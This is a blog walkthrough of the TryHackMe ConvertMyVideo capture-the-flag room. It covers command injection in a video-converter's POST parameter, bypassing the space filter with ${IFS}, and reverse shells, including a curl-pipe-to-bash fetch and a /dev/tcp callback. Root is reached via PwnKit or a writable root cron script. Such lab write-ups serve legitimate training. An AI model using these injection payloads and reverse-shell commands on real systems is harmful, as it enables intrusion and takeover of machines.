Capture The Flag

TryHackMe: ConvertMyVideo

A thorough walkthrough/writeup of ConvertMyVideo on TryHackMe.

SH3LL
· 15 min read
Send by email
Photo by Alexander Shatov / Unsplash

TryHackMe: ConvertMyVideo

A thorough walkthrough of the ConvertMyVideo challenge. - Blog by SH3LL

Connect with me!

SYNOPSIS

Fun command injection through a POST request parameter and a sneaky privilege escalation through a cron job script.

This is my first official walkthrough on my blog. I had a lot of fun... and help, lol. I learned a lot through this CTF. I hope you find this walkthrough resourceful and helpful. All the information referenced in this walkthrough can be seen in the Resources/Citations section below.

RESOURCES/CITATIONS

  1. ConvertMyVideo:
    https://tryhackme.com/room/convertmyvideo
  2. PwnKit:
    https://github.com/ly4k/PwnKit
  3. PSPY:
    https://github.com/DominicBreuker/pspy
  4. CyberChef:
    https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Simple%20string','string':'%20'%7D,'$%7BIFS%7D',true,false,true,false)
  5. RevShells:
    https://www.revshells.com
  6. NMAP Cheat Sheet:
    https://www.stationx.net/nmap-cheat-sheet/
  7. HTML Injection:
    https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/03-Testing_for_HTML_Injection
  8. Bash:
    https://mywiki.wooledge.org/BashSheet
    https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Lists
    https://tldp.org/LDP/abs/html/
    https://www.assertnotmagic.com/2018/06/20/bash-brackets-quick-reference/
    https://www.baeldung.com/linux/ifs-shell-variable
    https://www.baeldung.com/linux/cli-base64-encode-decode
  9. Kali Wordlists:
    https://github.com/00xBAD/kali-wordlists/tree/master
  10. URL Encoding:
    https://www.urlencoder.io/learn/
  11. TTYs:
    https://0xffsec.com/handbook/shells/full-tty/
    https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
    https://github.com/RoqueNight/Reverse-Shell-TTY-Cheat-Sheet
    https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys
    https://zweilosec.github.io/posts/upgrade-linux-shell/
    https://sushant747.gitbooks.io/total-oscp-guide/content/spawning_shells.html
    https://www.armourinfosec.com/spawning-interactive-reverse-shell/
    https://man7.org/linux/man-pages/man1/stty.1.html
  12. linPEAS:
    https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

CREDITS

Shoutout to my incredible community, who provided guidance when needed.

Criz117

  • Solution 2
  • ${IFS} spacing escape
  • cyberchef preferences
  • reverse shell method 1: encoding/decoding

EchoTango

  • Solution 1
  • ${IFS} spacing escape

L0WK3Y

  • Solution 1
  • 2 tabs spacing escape

w33t

  • Solution 1
  • ${IFS} spacing escape
  • Held my hand the most

GENESIS

ENVIRONMENTAL CONTEXT

Local Host IP: 10.13.45.48
Target Host IP: 10.10.85.162 or 10.10.157.28 or 10.10.84.89

ISOLATE WORKING DIRECTORY

This is more of a recommendation or best practice, but I would highly recommend incorporating an organized approach to your CTFs by creating a directory dedicated to this specific CTF. This is also important when hosting a temporary server to transfer files, which we will use later, to avoid leaking unwanted data. However, this is more important on shared boxes such as hack the box.

My folder structure is as follows:

  • CTF
    • TryHackMe
      • ConvertMyVideo
        • NMAP
        • Screenshots
        • Tools
        • Server

NMAP SCAN

nmap 'target-ip' -sV -A -Pn -p- -T4 -sC -oA nmapscanresults
FlagDescription
-sVAttempts to determine the version of the service running on port
-AEnables OS detection, version detection, script scanning, and traceroute
-PnDisable host discovery. Port scan only.
-p-Port scan all ports
-T4Aggressive (4) speeds scans; assumes you are on a reasonably fast and reliable network
-sCScan with default NSE scripts. Considered useful for discovery and safe
-oAOutput in the three major formats at once (normal, xml, grepable)

While we wait, I wonder if the target IP has a webpage.. I plop the target host IP in my browser, and I'm immediately presented with the ConvertMyVideo webpage with an input box.

Pasted image 20240126020029.png

Things I Tried

  • I opened Web Developer Tools and started snooping around, looking for cookies or other interesting information in the network and storage tab.
  • I didn't find anything spicy, so I started to play with the user input while keeping Web Developer Tools open.
    • I didn't find any cookies.

    • After inserting a legitimate link into the user input box, in Web Developer Tools, I found an interesting internal link for the converted .mp3.
      /tmp/downloads/65b3291076a22.mp3

    • I tried browsing http://target-ip/tmp/downloads/65b3291076a22.mp3 and was presented with a 404 error.

    • I tried browsing to http://target/tmp and received a permission denied error. Hmm, Apache 2.4.29 on an Ubuntu Server- that's good to know. Although I'm sure Nmap will also report this information.

Pasted image 20240125224328.png

  • Now, let's see if we can force an error.
    • I typed "1" in the input box and received a POST request- BINGO. We'll keep that in mind for later; let's check the NMAP results.

NMAP RESULTS

shame, nothing we didn't already know..


EXCUSE ME FOR BURPING

Now, let's play with that POST request.

SETTING UP

  1. Open Burp Suite.
  2. In the proxy tab, ensure that intercept is off, and then open the Burp browser and visit
    http://target-ip.
  3. Enter an invalid link, as in the steps above, to produce a POST request.
  4. In Burp, go to the target tab and view the POST request.

Screenshot 2024-01-30 004304.png

Take note of yt_url and Content-Type parameters.

EXPLORING OUR ATTACK VECTOR

From the error response on the right-hand side, a quick google search will tell you that youtube-dl is the command running on the server. We are going to be trying to perform a command injection.

Right-click on the POST request and send it to repeater.

From here, we can modify the yt_url parameter and try to inject a command.

yt_url=command

We both knew it wasn't going to be that easy.

We need first to figure out how to use this variable to escape and run the command. Since we know that the parameter value is eventually being passed as an argument to YouTube-dl, we can try a few methods to end and start a new command, command substitution, or possibly a subshell process if this is being run inside a script. Here are a few methods we can try:

Command Substitution

  • Backticks: `command`
  • $() syntax: $(command)

List Operators

  • Semi-colon: ;command;
  • AND: &&command;
  • OR: ||command;

Subshell

  • Parenthesis: (command)

Alternatively, we can try to enumerate viable escape methods by fuzzing.

  1. In Burp Suite, go back to the Target tab. Right-click on the POST request and send to intruder.
  2. On the Intruder tab, highlight the contents of the yt_url parameter and click add payload marker.

Screenshot 2024-01-30 032815.png

  1. Verify that the payload marker is on each end of the highlighted text.
  2. Click on the Payload tab within Intruder and load the wordlist:

For Kali Linux.

/usr/share/wordlists/wfuzz/injections/All_attack.txt

Else:

wget https://raw.githubusercontent.com/00xBAD/kali-wordlists/master/wfuzz/Injections/All_attack.txt

Screenshot 2024-01-30 033207.png

  1. Start the attack, bro; what are you waiting for?

As Burp performs the attack, go ahead and check the response results.

Find anything interesting?

Look at the response for ;id;

WHOAH, LOOKIE THERE!

Sweet, so now we know we can use the semi-colon list operator syntax ;command; to perform a command injection. We will be using this for the rest of the walkthrough. Let's check if we can run a command with spaces.

;ls -la;

WELL, THAT SUCKS

Now we have to figure out how to add spaces. Go ahead, I'll wait...

You took too long; let me help you.

Remember how I told you to take note of the Content-Type parameter? Yep, this is why—Gotta love encoding.

This is where we wasted a lot of time; I'll walk you through the thought process.

  • google
  • google
  • google

Basically, we need to figure out how to escape the x-www-form-urlencoding spacing. You will find a few characters you can try, but they didn't work. On this page, we find a reference for the reserved and unsafe characters. We tried them all in different ways. Additionally, you will find an ASCII character encoding reference. We tried these, too, but no luck.

Here's what worked after brutally beating our foreheads on our keyboards.

  1. 2 tabs
  2. ${IFS} or $IFS(untested, but should work in theory)

We have no idea why 2 tabs works for spaces, but it did. Credit to L0WK3Y for being a nerd and figuring that out. We kept looking and found that ${IFS} worked as well. For the rest of this walkthrough, we are going to use ${IFS}. IFS stands for Internal Field Separator and is an environmental variable in bash that determines the environment's default method for separating words and splitting sequences of character strings. Here, we see that this syntax can be used for variable interpolation and manipulation. The reason we cannot use parenthesis syntax,
$(IFS), is that this syntax is used for command substitution, and IFS is not a command; it's an environmental variable.

For the rest of the walkthrough, we will be using the following syntax:

;command1${IFS}command2;

JINGLE BELLS, REVERSING SHELLS

PREPARING YOUR EARS

So, head over to your trusty buffet of reverse shell one-liners RevShells, unless, of course, you are not a skid. I chose to go with "Bash -i." Fill in your local machine's VPN IP address (ifconfig, look for tun#), and then pick your preferred non-default port.

Screenshot 2024-02-08 222225.png

Let's get your listener ready.

  1. On your local machine, type in the generated listener command in your bash shell.
  2. Open a new shell tab or window, and run netstat -tulpn
  3. Verify your listener is up

Screenshot 2024-02-08 225840.png

REVERSE SHELL: BASE64 ENCODING/DECODING

Now that we have laid out the foundation of our command injection syntax and have our listener ready, we can attempt to obtain a reverse shell.

You can use Cyber Chef to replace all of the spaces with ${IFS}.

  1. Copy your RevShells payload and paste it into Cyber Chef.
  2. Replace spaces with ${IFS}.
  3. In BurpSuite, go back to the repeater tab where the POST request should still be selected.
  4. Edit the yt_url parameter and insert your payload after the "=".
  5. Send the request.

NICE! Another error...

It seems the encoding does not allow these characters: <>.

Dang, I wish you paid more attention when we looked at the Unsafe Character list.

Don't beat yourself up too hard; it happens to the best of us (aka me).

Thankfully, Criz provided an easy solution.

I hope you still have RevShells open; we will encode the original payload, not the one we replaced spaces with.

  1. Open a bash shell.
  2. echo "original payload" | base64.
  3. Now take your base64 payload and copy it.
  4. Go back to Cyber Chef and type the following and replace spaces with ${IFS}.
echo "base64-payload" | base64 -d | bash

The command above echoes the base64 payload and pipes it into the base64 command using the -d flag to decode it and then piping it back into bash. Otherwise, we would just be echoing our payload to the standard output.

Now, after replacing spaces, pop that sucker into the yt_url parameter and see what happens.

WE ARE IN BUSINESS!!!!

ALTERNATIVE REVERSE SHELL

This is an alternative reverse shell method without having to use encoding. It's relatively straightforward but involves a few more moving parts.

SETUP A PYTHON WEB SERVER

  1. Open a bash shell.
  2. Navigate to a safe working directory.
  3. Run.
python3 -m http.server 8000
  1. Verify your Python server is running in another bash terminal.
netstat -tulpn

Screenshot 2024-02-09 035049.png

CREATE A SIMPLE BASH PAYLOAD

  1. Open a new bash terminal.
  2. Navigate to your Python server directory.
touch payload.sh
  1. Echo your original payload from RevShells into your payload script.
echo "revshells-oneliner" >> payload.sh
  1. Verify your payload is correct.
cat payload.sh
  1. Add execute permissions.
sudo chmod +x payload.sh

CURL YOUR PAYLOAD

Now that we have started a Python server and created our simple payload, let's curl it from the target and pipe it into bash. We use curl instead of wget because we only need the content, not the file itself.

  1. Here is the command syntax.
curl http://local-ip:8000/payload.sh | bash
  1. Use Cyber Chef to replace spaces with ${IFS}.
  2. Now modify the yt_url parameter in Burp, send the request, and see what happens.

BINGO!!!

STABILIZING THE SHELL

Now that we have established our reverse shell, we must stabilize the shell. You will notice that the shell looks half-baked. Additionally, the shell is not interactive. Try clearing the screen with clear. This is not suitable for us power users. Let's fix this.

  1. Spawn the PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

or

python -c 'import pty; pty.spawn("/bin/bash")'
  1. On the terminal where you have established the remote shell, background the session with Ctrl+Z, and immediately type and enter bg.
  2. Take note of the job/session #.
  3. Prep your terminal characteristics with stty, set to raw type, and echo input characters. Then, use the session number you noted to bring the reverse shell session to the foreground.
stty raw -echo && fg #
  1. Now that our reverse shell is back up, reinitialize the terminal by entering reset.
  2. Now, set the terminal type to something compatible.
export TERM=xterm
  1. Hit enter once.

BOOM!!! You have now spawned a full TTY! Go ahead and clear the screen.


CAPTURE THE USER FLAGS

WHAT IS THE NAME OF THE SECRET FOLDER?

Uh, just ls.

WHAT IS THE USER TO ACCESS THE SECRET FOLDER?

  1. Navigate to the admin folder and ls -la.
  2. You will find a hidden file, ".htpasswd."
  3. Cat that file.
cat .htpasswd

Don't worry about cracking that hash, but you can if you want. Use John the Ripper and Rockyou.txt and wait 10 years only to be let down and confused.

WHAT IS THE USER FLAG?

Cat flag.txt inside the admin directory.


WHAT IS THE ROOT FLAG?

This is where it gets fun. I have two solutions for you.

#solution-1-pwnkit Is using the PwnKit 0-day vulnerability to escalate privileges.. which is kind of cheating since this box is old; PwnKit was discovered after ConvertMyVideo was published.

In #solution-2-vulnerable-script, we find misconfigured ownership on a script that runs as root in a cron job. We can modify the script to get a root shell.

Let's get more information.

On your local machine, make sure your Python server is running.

Use #setup-a-python-web-server for reference.

We will use linPEAS to enumerate details about possible privilege escalation paths on the target. However, since most CTF boxes' networks are locked down, we won't be able to download any files to the target directly from the internet. We will need to use our machine as a proxy.

  1. In a bash terminal on your local machine, navigate to your Python server directory and download linPEAS.
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
  1. On the target's reverse shell terminal, wget the file from your Python server.
wget http://local-ip:8000/linpeas.sh
  1. ls to verify the file is downloaded.
  2. Make the script executable.
chmod +x linpeas.sh
  1. Run linPEAS.
./linpeas.sh

Pasted image 20240126030738 (2).png

SOLUTION 1: PwnKit

Let's download and run PwnKit.

  1. In a bash terminal on your local machine, navigate to your Python server directory and download PwnKit.
wget https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit
  1. On the target's reverse shell terminal, wget the file from your Python server.
wget http://local-ip:8000/PwnKit
  1. ls to verify the file is downloaded.
  2. Make the script executable.
chmod +x PwnKit
  1. Run PwnKit.
./PwnKit

VOILÀ! You now have a root shell!

  1. Now, navigate to the root folder and cat root.txt.

Pasted image 20240126043317.png

SOLUTION 2: Vulnerable Script

Say thank you to Criz for this solution.

This involves quite a bit more digging, but using a tool called PSPY, we find a script called "clean.sh" running with root privileges.

  1. In a bash terminal on your local machine, navigate to your Python server directory and download PSPY.
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
  1. On the target's reverse shell terminal, wget the file from your Python server.
wget http://local-ip:8000/pspy64
  1. ls to verify the file is downloaded.
  2. Make the script executable.
chmod +x pspy64
  1. Run pspy64.
./pspy64
  1. Give pspy some time to run and gather all processes. Eventually, you will see "clean.sh" run with UID 0, which indicates root privileges.

Screenshot 2024-02-10 205202.png

  1. Let's take a look at the permissions, shall we? Navigate to /var/www/html/tmp/.
  2. List the files and permissions.
ls -la
  1. You will see that we, www-data, own this file, but where is the cron job?
  2. Navigate to /etc, and search the cron directories for "clean.sh."
find cron* -name "clean.sh"
  1. Weird that we didn't find anything, huh? This is likely due to us not having the proper permissions to see the cron job.
  2. Since we know, by the UID, that the script is running with root privileges and that we own the file, let's modify it and obtain a root shell. Navigate back to /var/www/html/tmp/.
  3. Go back to RevShells and set up the same payload/listener but on a different port.
  4. Start your listener on your local machine.
nc -lvnp 9002

Screenshot 2024-02-10 212740.png

  1. Echo your payload into the "clean.sh" script. I recommend appending it with >> vs overwriting it with >.
echo "sh -i >& /dev/tcp/10.13.45.48/9002 0>&1" >> clean.sh
  1. Now, just wait for the cron job to run.

VOILÀ! You now have a root shell!

  1. Follow the steps in #stabilizing-the-shell
  2. Now, navigate to the root folder and cat root.txt.

Pasted image 20240126043317.png


EXODUS

Wow, that was fun, at least for me. Having to put my thoughts into an educational format helped me learn these topics deeper than I did before. I highly recommend you do the same.

Once you are done goofin' around, lets make sure that our listeners and python server have been terminated.

  1. Check running network services.
netstat -tulpn
  1. Note the process ID of your Netcat listeners and Python server, then kill them.
sudo kill -9 PID

Thanks for reading!

- SH3LL

FAQ

How do I get a reverse shell?

Reverse shells require the target device to call out and establish a connection with a listener, a.k.a. your machine, and is typically performed after initial compromise. You would first need to set up your device to listen on a specific port and then use a supported payload to call home from the target machine. An easy tool to help you build out the commands is RevShells.

How do I stabilize a shell?

To stabilize a shell, you must spawn a TTY or virtual TeleTYpe. Each scenario is different and depends on the target's OS and installed packages.

For instance, you may use Python to spawn a PTY or PseudoTeletYpe, which will emulate a TTY.

python3 -c 'import pty; pty.spawn("/bin/bash")'

From there, you may be able to establish a full TTY by backgrounding your reverse shell, setting your local terminal characteristics to echo raw input/output with stty and then foreground the reverse shell.

stty raw -echo && fg #

Type reset to reinitialize the terminal. Then, you can set the environmental terminal type to something that either matches or closely matches your own terminal. For instance, you may use:

export TERM=xterm
How do I check network services running on linux?

An easy way you can list network services and ports in linux is by using netstat.

netstat -tulpn
How do I kill a program or network service by process ID (PID) in linux?

First, get the process ID.

For network services

netstat -tulpn

For all services

ps aux

Then use the kill command.

sudo kill -9 PID
What is IFS in bash?

IFS stands for Internal Field Separator and is an environmental variable in bash that determines the environment's default method for separating words and splitting sequences of character strings.

CONNECT